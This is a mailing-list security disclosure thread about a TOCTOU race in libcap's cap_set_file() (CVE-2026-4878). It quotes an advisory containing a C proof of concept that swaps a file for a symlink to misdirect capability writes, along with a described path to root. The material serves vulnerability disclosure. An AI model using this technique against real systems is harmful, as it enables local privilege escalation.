On Wed, Apr 8, 2026 at 6:53 PM Solar Designer <[email protected]> wrote: > > Hi all, > > I think Andrew may not be subscribed - CC'ing. > > On Tue, Apr 07, 2026 at 10:14:42PM +0200, Christian Göttsche wrote: > > Apr 7, 2026 18:54:22 Andrew G. Morgan <[email protected]>: > > > I've just released libcap-2.78 which includes a fix for a TOCTOU issue > > > in libcap. > > > > > > The issue has been allocated the following code: CVE-2026-4878. It is > > > the subject of this private bug: > > > https://bugzilla.redhat.com/show_bug.cgi?id=2447554 and is also > > > written up in a github.com advisory which I will publish on Wednesday > > > (this week). The github advisory tool characterizes the issue as > > > CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H (Severity: Moderate 7 / > > > 10). > > > > > > The fix for pretty much that whole range of libcap releases is this > > > commit: > > > > > > https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=286ace1259992bd0c5d9016715833f2e148ac596 > > > > Hi, > > > > the new code suppports changing the file capabilities of all kinds of files > > (not just regular)(given that the caller has read permissions). > > Is that intended? > > Andrew, please comment on this. I do also see it in the patch that the > S_ISREG check is now below the added fast path code for readable files. > It doesn't matter that the S_ISLNK check is also below (in fact, it's > now redundant anyway) due to O_NOFOLLOW, but bypass of the S_ISREG check > appears to be a functional change.
Not sure I follow. This check is in the cap_set_fd() function itself. > > Also, was the fact that cap_set_file() refuses to operate over a symlink > (for the last pathname component only) documented and expected behavior? > Maybe not documented, but assumed expected? The advisory says: The code has always been intended to avoid operating on a symlink. https://git.kernel.org/pub/scm/libs/libcap/libcap.git/commit/?id=df44db730f904c9fb1fdb83ab7f78abe8bd62844 > > > for example, an administrator running setcap, a CI/CD pipeline setting > > capabilities on build artifacts, a container runtime configuring > > binaries, or a package manager post-install script) can exploit the race > > to redirect file capabilities to their own executable. The attacker > > never needs elevated privileges; only write access to the directory > > containing the target path. > > While this sounds valid, making changes in an attacker-writable > directory is inherently dangerous, and I wouldn't see why expectations I agree. > for cap_set_file() and setcap would be different than for chmod() and > chmod, which follow symlinks, if there weren't already this incomplete > racy attempt of pre-checking for and refusing to operate on symlinks. But the idea that the code was protecting from symlink following when it wasn't represents a bug. > > > > PS I tried a few times to post to the private openwall list about this > > > issue 9 days ago, but my email bounced (likely because I couldn't > > > effectively follow the mail formatting requirements). I might have > > > realized that the emails were bounced if gmail hadn't silently placed > > > the bounced replies in my SPAM folder. Sorry about that. > > Sorry you had difficulties with that. I just searched through the logs, > but could not easily find traces of you trying to send this to the > linux-distros list. Can you please forward the bounce to me off-list? > Will do. > As to your oss-security postings presumably flagged by Gmail as spam, > that is likely due to us breaking DKIM with the addition of the > [oss-security] prefix and kernel.org having DMARC p=quarantine. In > cases like this, a workaround is to pre-add [oss-security] on your end > (and when you add to the thread, reply to your messages as they arrived > through the list rather than to your local copies without the prefix). > Sorry about that as well. > > Let's also have the GitHub advisory archived in here: > > https://github.com/AndrewGMorgan/libcap_mirror/security/advisories/GHSA-f78v-p5hx-m7hh Just to be clear, and credit where it is due, the text of this was authored by Ali Raza. The markdown source is as follows: ---8<--- Local Privilege Escalation (LPE) via TOCTOU race condition in cap_set_file() through file capability injection ### Summary A TOCTOU (Time-of-Check-Time-of-Use) race condition in `cap_set_file()` allows an unprivileged local attacker to redirect file capability writes to an arbitrary file, leading to local privilege escalation. The function validates the target path with `lstat()` (which does not follow symlinks) but then operates on it with `setxattr()` (which does follow symlinks). Between these two calls, an attacker with write access to the parent directory can atomically swap the regular file for a symlink or a different file via `renameat2(RENAME_EXCHANGE)`, causing `setxattr()` to write the `security.capability` xattr to the attacker's chosen file instead of the intended target. ### Details The vulnerability is in [libcap/cap_file.c](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/libcap/cap_file.c), function [`cap_set_file()`](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/libcap/cap_file.c#L320): ```c int cap_set_file(const char *filename, cap_t cap_d) { struct vfs_ns_cap_data rawvfscap; int sizeofcaps; struct stat buf; // CHECK: lstat does NOT follow symlinks if (lstat(filename, &buf) != 0) { return -1; } if (S_ISLNK(buf.st_mode) || !S_ISREG(buf.st_mode)) { errno = EINVAL; return -1; } // ... _fcaps_save() computation widens the race window ... if (cap_d == NULL) { // USE: removexattr FOLLOWS symlinks return removexattr(filename, XATTR_NAME_CAPS); } // USE: setxattr FOLLOWS symlinks return setxattr(filename, XATTR_NAME_CAPS, &rawvfscap, sizeofcaps, 0); } ``` The gap between `lstat()` and `setxattr()` or `removexattr()` creates a race window. During this window an attacker with write access to the parent directory can use `renameat2(RENAME_EXCHANGE)` to atomically swap the legitimate regular file with either a symlink pointing to the attacker's target or a completely different file. Since `setxattr()` resolves the path from scratch (following symlinks), it writes the capability xattr to the wrong file. The same pattern affects the `removexattr()` path at when `cap_d == NULL`, allowing an attacker to strip capabilities from an unintended file. For comparison, the fd-based counterpart `cap_set_fd()` is not vulnerable because it uses `fstat()` + `fsetxattr()` on an already-opened file descriptor, which pins the inode. The `setcap` tool [`progs/setcap.c`](https://github.com/AndrewGMorgan/libcap_mirror/blob/5f3e12ca39c476b78160df6e2345a642a8e6f178/progs/setcap.c) calls `cap_set_file()` directly with a user-supplied path, making it the primary attack surface. ### PoC The following self-contained C program deterministically reproduces the vulnerability by executing the `lstat` → `swap` → `setxattr` sequence step by step. No race timing is required. **Requirements:** Linux 3.15+ (for `renameat2`), root or `CAP_SETFCAP`. **Build and run:** ``` gcc -Wall -O2 -o poc poc.c sudo ./poc ``` ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/stat.h> #include <sys/xattr.h> #include <sys/syscall.h> #ifndef SYS_renameat2 #define SYS_renameat2 316 #endif #ifndef RENAME_EXCHANGE #define RENAME_EXCHANGE (1 << 1) #endif #define XATTR_NAME_CAPS "security.capability" /* * Minimal VFS_CAP_REVISION_2 xattr granting CAP_NET_RAW=ep. * * struct vfs_cap_data { * __le32 magic_etc; // VFS_CAP_REVISION_2 | VFS_CAP_FLAGS_EFFECTIVE * struct { __le32 permitted, inheritable; } data[2]; * }; * * CAP_NET_RAW = 13 -> bit 13 in data[0].permitted = 0x00002000 */ static const unsigned char xattr_cap_net_raw[20] = { 0x01, 0x00, 0x00, 0x02, /* magic: VFS_CAP_REVISION_2 | EFFECTIVE */ 0x00, 0x20, 0x00, 0x00, /* data[0].permitted = 1 << 13 */ 0x00, 0x00, 0x00, 0x00, /* data[0].inheritable = 0 */ 0x00, 0x00, 0x00, 0x00, /* data[1].permitted = 0 */ 0x00, 0x00, 0x00, 0x00, /* data[1].inheritable = 0 */ }; static char arena[256], decoy[280], target[280], link_path[280]; static void cleanup(void) { removexattr(target, XATTR_NAME_CAPS); unlink(decoy); unlink(link_path); unlink(target); rmdir(arena); } int main(void) { struct stat st; int fd, ret; char buf[20]; ssize_t len; if (geteuid() != 0) { fprintf(stderr, "Requires root (for setxattr on security.capability).\n"); return 1; } snprintf(arena, sizeof(arena), "/tmp/cve_poc_%d", getpid()); snprintf(decoy, sizeof(decoy), "%s/decoy", arena); snprintf(target, sizeof(target), "%s/target", arena); snprintf(link_path, sizeof(link_path), "%s/link", arena); atexit(cleanup); mkdir(arena, 0755); fd = open(decoy, O_CREAT|O_WRONLY|O_TRUNC, 0755); close(fd); fd = open(target, O_CREAT|O_WRONLY|O_TRUNC, 0755); close(fd); if (symlink(target, link_path) != 0) { perror("symlink"); return 1; } printf("cap_set_file() TOCTOU — deterministic proof\n\n"); /* Step 1: lstat sees a regular file — cap_set_file() check passes */ lstat(decoy, &st); printf("[+] lstat(\"%s\"): S_ISREG=%d S_ISLNK=%d\n", decoy, S_ISREG(st.st_mode), S_ISLNK(st.st_mode)); printf(" cap_set_file() symlink check PASSES\n\n"); /* Step 2: attacker atomically swaps decoy with symlink */ ret = syscall(SYS_renameat2, AT_FDCWD, link_path, AT_FDCWD, decoy, RENAME_EXCHANGE); if (ret != 0) { fprintf(stderr, "renameat2 failed: %s\n", strerror(errno)); return 1; } lstat(decoy, &st); printf("[+] Attacker swaps (renameat2 RENAME_EXCHANGE):\n"); printf(" lstat(\"%s\"): S_ISLNK=%d — now a symlink\n\n", decoy, S_ISLNK(st.st_mode)); /* Step 3: setxattr follows the symlink — writes caps to target */ ret = setxattr(decoy, XATTR_NAME_CAPS, xattr_cap_net_raw, sizeof(xattr_cap_net_raw), 0); printf("[+] setxattr(\"%s\", \"security.capability\", ...): %s\n", decoy, ret == 0 ? "OK" : strerror(errno)); printf(" setxattr FOLLOWED the symlink to target\n\n"); /* Step 4: verify capabilities landed on the target file */ len = getxattr(target, XATTR_NAME_CAPS, buf, sizeof(buf)); printf("[+] getxattr(\"%s\"): %zd bytes\n", target, len); if (len > 0) { printf("\n BUG CONFIRMED: capabilities written to WRONG file.\n"); return 0; } else { printf("\n Unexpected: xattr not found on target.\n"); return 1; } } ``` **Expected output:** ``` cap_set_file() TOCTOU — deterministic proof [+] lstat("/tmp/cve_poc_XXXX/decoy"): S_ISREG=1 S_ISLNK=0 cap_set_file() symlink check PASSES [+] Attacker swaps (renameat2 RENAME_EXCHANGE): lstat("/tmp/cve_poc_XXXX/decoy"): S_ISLNK=1 — now a symlink [+] setxattr("/tmp/cve_poc_XXXX/decoy", "security.capability", ...): OK setxattr FOLLOWED the symlink to target [+] getxattr("/tmp/cve_poc_XXXX/target"): 20 bytes BUG CONFIRMED: capabilities written to WRONG file. ``` ### Impact This is a local privilege escalation vulnerability (CWE-367). An unprivileged local attacker who has write access to a directory where a privileged process calls `cap_set_file()` (for example, an administrator running `setcap`, a CI/CD pipeline setting capabilities on build artifacts, a container runtime configuring binaries, or a package manager post-install script) can exploit the race to redirect file capabilities to their own executable. The attacker never needs elevated privileges; only write access to the directory containing the target path. By injecting capabilities such as `CAP_SETUID` onto their own binary, the attacker can then execute it, call `setuid(0)`, and escalate to root. The attacker's primitives are: - **Arbitrary file capability injection**: redirect any `cap_set_file()` call to write capabilities to an attacker-chosen file on the same filesystem. - **Arbitrary file capability removal**: redirect the `removexattr()` path (when `cap_d == NULL`) to strip capabilities from an unintended file, enabling defense evasion. All versions of libcap that include the symlink check in `cap_set_file()` are believed to be affected. The `setcap` tool shipped with libcap is the primary real-world attack vector as it calls `cap_set_file()` directly with a user-supplied path argument. ---8<--- Cheers Andrew
